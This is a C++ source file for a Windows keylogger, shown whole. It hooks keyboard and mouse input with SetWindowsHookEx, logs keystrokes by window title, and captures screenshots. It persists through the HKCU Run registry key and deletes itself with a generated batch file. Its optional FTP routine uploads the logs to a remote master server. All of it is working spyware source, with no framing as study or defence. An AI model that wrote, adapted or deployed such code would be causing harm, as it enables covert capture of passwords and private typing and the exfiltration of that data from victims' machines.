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keylogger.cpp
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keylogger.cpp
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#include "keylogger.h"
#include "tableCSS.h"
using namespace std;
KeyLogger* KeyLogger::instance = NULL;
void KeyLogger::persist(std::string path) {
if (path.empty()) {
path = programPath;
}
HKEY key;
RegCreateKey(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&key
);
std::string keyValue = "\"";
keyValue += path;
keyValue += "\"";
//launch at startup
RegSetValueEx(key, REGKEY_PERSIST, 0, REG_SZ, (BYTE*)keyValue.c_str(), keyValue.length());
//set life time
RegSetValueEx(key, REGKEY_LIFETIME, 0, REG_SZ, (BYTE*)KEYLOGGER_LIFETIME, sizeof(KEYLOGGER_LIFETIME));
}
void KeyLogger::uninstall() {
//don't launch again
HKEY key;
RegCreateKey(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&key
);
RegDeleteValue(key, REGKEY_PERSIST);
//remove lifetime key
RegDeleteValue(key, "lifespan");
//delete program files and exit
removeSelf();
}
void KeyLogger::updateLifespan() {
char buffer[100];
DWORD buffSize = sizeof(buffer);
//check remaining life time
HKEY key;
RegCreateKey(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&key
);
RegQueryValueEx(
key,
REGKEY_LIFETIME,
0,
NULL,
(BYTE*)buffer,
&buffSize
);
//decrement it
int lifespan = atoi(buffer);
lifespan--;
//uninstall the app if it's time
if (lifespan < 0) {
uninstall();
}
//else just decrement the lifespan
_itoa_s(lifespan, buffer, 10);
RegSetValueEx(
key,
REGKEY_LIFETIME,
NULL,
REG_SZ,
(BYTE*)buffer,
sizeof(buffer)
);
}
void KeyLogger::removeSelf() {
//make sure everything is freed
freeResources();
//create a batch fil that will delete program files after execution stops
ofstream batchFile;
batchFile.open(BATCH_NAME);
batchFile << "@echo off" << endl;
batchFile << ":Repeat" << endl;
batchFile << "del " << programPath << endl;
batchFile << "rmdir /s /q " << programDir << DATADIR << endl;
batchFile << "if exist " << programPath << " goto Repeat" << endl;
batchFile << "del " << BATCH_NAME << endl;
batchFile.close();
system("start cleaner.bat");
//exit ASAP
exit(0);
}
void KeyLogger::freeResources() {
logFile.close();
UnhookWindowsHookEx(khook);
UnhookWindowsHookEx(mhook);
}
std::string KeyLogger::removeFilespec(std::string path) {
while (path[path.length() - 1] != '\\') {
path.erase(path.length() - 1);
}
return path;
}
KeyLogger::KeyLogger() {
lshiftDown = false;
rshiftDown = false;
laltDown = false;
raltDown = false;
lctrlDown = false;
rctrlDown = false;
char buffer[1024];
GetModuleFileName(NULL, buffer, sizeof(buffer));
programPath = buffer;
programDir = removeFilespec(programPath);
activeWindowTitle = getActiveWindowTitle();
useFTP = false;
char hostnameBuff[200];
gethostname(hostnameBuff, sizeof(hostnameBuff));
hostname = hostnameBuff;
mapKeys();
}
void KeyLogger::mapKeys() {
char ASCII[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890²&é\"'(-è_çà~#{[|`\\^@)=°+]}¨$£¤ù%*µ!§:/;.,?<>";
for (int i = 0; i < sizeof(ASCII); i++) {
kbdToAscii[VkKeyScanEx(ASCII[i], GetKeyboardLayout(NULL))] = ASCII[i];
}
specialKeys[VK_SPACE] = " ";
specialKeys[VK_BACK] = "[BACKSPACE]";
specialKeys[VK_TAB] = "[TAB]";
specialKeys[VK_RETURN] = "[RETURN]<br />";
specialKeys[VK_PAUSE] = "[PAUSE]";
specialKeys[VK_CAPITAL] = "[CAPS LOCK]";
specialKeys[VK_ESCAPE] = "[ESC]";
specialKeys[VK_PRIOR] = "[PAGE UP]";
specialKeys[VK_NEXT] = "[PAGE DOWN]";
specialKeys[VK_HOME] = "[HOME]";
specialKeys[VK_LEFT] = "[LEFT ARROW]";
specialKeys[VK_RIGHT] = "[RIGH ARROW]";
specialKeys[VK_UP] = "[UP ARROW]";
specialKeys[VK_DOWN] = "[DOWN ARROW]";
specialKeys[VK_INSERT] = "[INSERT]";
specialKeys[VK_DELETE] = "[DELETE]";
specialKeys[VK_LWIN] = "[LEFT WINDOWS]";
specialKeys[VK_RWIN] = "[RIGHT WINDOWS]";
specialKeys[VK_NUMLOCK] = "[NUMLOCK]";
specialKeys[VK_NUMPAD0] = "[NUM 0]";
specialKeys[VK_NUMPAD1] = "[NUM 1]";
specialKeys[VK_NUMPAD2] = "[NUM 2]";
specialKeys[VK_NUMPAD3] = "[NUM 3]";
specialKeys[VK_NUMPAD4] = "[NUM 4]";
specialKeys[VK_NUMPAD5] = "[NUM 5]";
specialKeys[VK_NUMPAD6] = "[NUM 6]";
specialKeys[VK_NUMPAD7] = "[NUM 7]";
specialKeys[VK_NUMPAD8] = "[NUM 8]";
specialKeys[VK_NUMPAD9] = "[NUM 9]";
specialKeys[VK_MULTIPLY] = "*";
specialKeys[VK_ADD] = "+";
specialKeys[VK_SUBTRACT] = "-";
specialKeys[VK_DIVIDE] = "/";
specialKeys[VK_F1] = "[F1]";
specialKeys[VK_F2] = "[F2]";
specialKeys[VK_F3] = "[F3]";
specialKeys[VK_F4] = "[F4]";
specialKeys[VK_F5] = "[F5]";
specialKeys[VK_F6] = "[F6]";
specialKeys[VK_F7] = "[F7]";
specialKeys[VK_F8] = "[F8]";
specialKeys[VK_F9] = "[F9]";
specialKeys[VK_F10] = "[F10]";
specialKeys[VK_F11] = "[F11]";
specialKeys[VK_F12] = "[F12]";
}
KeyLogger::~KeyLogger() {
freeResources();
}
KeyLogger* KeyLogger::getInstance() {
if(instance == NULL) {
instance = new KeyLogger();
}
return instance;
}
void KeyLogger::releaseInstance() {
if(instance != NULL) {
delete instance;
instance = NULL;
}
}
std::string KeyLogger::keycodeToString(int keyCode) {
std::string text;
text += kbdToAscii[keyCode];
return text;
}
LRESULT KeyLogger::hookFunction(int nCode, WPARAM wParam, LPARAM lParam) {
KeyLogger* keylogger = getInstance();
if (nCode >= 0) {
//key pressed
if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*) lParam);
switch (hooked.vkCode) {
case VK_LSHIFT:
keylogger->setLShiftDown(true);
break;
case VK_RSHIFT:
keylogger->setRShiftDown(true);
break;
case VK_LMENU:
keylogger->setLAltDown(true);
break;
case VK_RMENU:
keylogger->setRAltDown(true);
break;
case VK_LCONTROL:
keylogger->setLCtrlDown(true);
break;
case VK_RCONTROL:
keylogger->setRCtrlDown(true);
break;
default:
keylogger->log(hooked.vkCode);
break;
}
}
//key released
if(wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*) lParam);
switch(hooked.vkCode) {
case VK_LSHIFT:
keylogger->setLShiftDown(false);
break;
case VK_RSHIFT:
keylogger->setRShiftDown(false);
break;
case VK_LMENU:
keylogger->setLAltDown(false);
break;
case VK_RMENU:
keylogger->setRAltDown(false);
break;
case VK_LCONTROL:
keylogger->setLCtrlDown(false);
break;
case VK_RCONTROL:
keylogger->setRCtrlDown(false);
break;
default:
break;
}
}
//mouse clicked
if (wParam == WM_LBUTTONDOWN) {
MSLLHOOKSTRUCT hooked = *((MSLLHOOKSTRUCT*)lParam);
std::stringstream logStr;
logStr << "[LMOUSE (" << hooked.pt.x << ", " << hooked.pt.y << ") ]<br />";
keylogger->log(logStr.str());
}
}
return CallNextHookEx(keylogger->khook, nCode, wParam, lParam);
}
std::string KeyLogger::screenshot() {
std::stringstream fileName;
fileName << programDir << DATADIR << "\\" << time(NULL) << ".bmp";
takeScreenshot(GetDesktopWindow(), fileName.str());
log("[SCREENSHOT " + fileName.str() + "]<br />");
return fileName.str();
}
void KeyLogger::loop() {
MSG message;
while (GetMessage(&message, NULL, 0, 0)) {
TranslateMessage(&message);
DispatchMessage(&message);
}
}
void KeyLogger::listen() {
HINSTANCE instance = GetModuleHandle(NULL);
if (!instance) {
exit(1);
}
khook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hookFunction, instance, 0);
mhook = SetWindowsHookEx(WH_MOUSE_LL, (HOOKPROC)hookFunction, instance, 0);
CreateDirectory(std::string(programDir + DATADIR).c_str(), NULL);
logFileName << programDir << DATADIR << "\\" << hostname << "(" << time(NULL) << ").html";
ifstream logCheck(logFileName.str());
bool exists = logCheck.good();
logCheck.close();
logFile.open(logFileName.str(), ios::app);
if (!exists) {
logFile << TABLE_CSS;
logFile << "<table class=\"table\"><tr><td>Time</td><td>Window</td><td width=\"50%\">Key strokes</td></tr>";
}
}
void KeyLogger::log(int vkCode) {
std::map<int, std::string>::iterator found = specialKeys.find(vkCode);
if (found != specialKeys.end()) {
log(found->second);
}
else {
// formatting scan code and shift state for the VkKeyScan function
// http://msdn.microsoft.com/en-us/library/windows/desktop/ms646329%28v=vs.85%29.aspx
int keyCode = 0;
if (isLShiftDown() || isRShiftDown()) {
keyCode += 1;
}
if (isLCtrlDown() || isRCtrlDown()) {
keyCode += 2;
}
if (isLAltDown() || isRAltDown()) {
keyCode += 4;
}
keyCode = keyCode << 8;
keyCode += vkCode;
std::string keyString = keycodeToString(keyCode);
log(keyString);
}
}
void KeyLogger::log(std::string text) {
//user switched windows
if (getActiveWindowTitle() != activeWindowTitle) {
writeBuffer();//dump last window's information to file
}
keyboardBuffer += text;
}
void KeyLogger::install(std::string target) {
//already installed
if (target == programPath) {
updateLifespan();
return;
}
//install keylogger and exit
CopyFile(programPath.c_str(), target.c_str(), true);
persist(target);
removeSelf();
}
void KeyLogger::writeBuffer()
{
logFile << "<tr><td>" << getTimeString() << "</td><td>" << activeWindowTitle << "</td><td style=\"word-wrap: break-word\">" << keyboardBuffer << "</td></tr>";
#ifdef USE_FTP
//upload to master server if it's time
if (useFTP && time(NULL) - lastUpload > UPLOAD_DELTA) {
lastUpload = time(NULL);
upload();
}
#endif
activeWindowTitle = getActiveWindowTitle();
keyboardBuffer = "";
}
std::string KeyLogger::getTimeString() {
time_t currentTime = time(NULL);
tm gmt;
gmtime_s(&gmt, ¤tTime);
std::stringstream timeString;
timeString << gmt.tm_mday << "/" << gmt.tm_mon + 1 << "/" << gmt.tm_year + 1900 << " at " << (gmt.tm_hour + 1) % 24 << ":";
gmt.tm_min < 9 ? timeString << "0" << gmt.tm_min : timeString << gmt.tm_min;
return timeString.str();
}
std::string KeyLogger::getActiveWindowTitle() {
char title[256];
HWND hwnd = GetForegroundWindow();
GetWindowText(hwnd, title, sizeof(title));
return std::string(title);
}
std::string KeyLogger::getUserHomeDirectory() {
char buffer[1024];
GetEnvironmentVariable("USERPROFILE", buffer, sizeof(buffer));
strcat_s(buffer, "\\");
return std::string(buffer);
}
#ifdef USE_FTP
void KeyLogger::upload() {
ftpClient.connect(server, port);
if (ftpClient.login(login, password).isOk()) {
ftpClient.upload(logFileName.str(), uploadDir, sf::Ftp::Ascii);
}
ftpClient.disconnect();
}
void KeyLogger::setMaster(std::string _server, int _port, std::string _login, std::string _password, std::string _uploadDir) {
useFTP = true;
server = _server;
port = _port;
login = _login;
password = _password;
uploadDir = _uploadDir;
}
#endif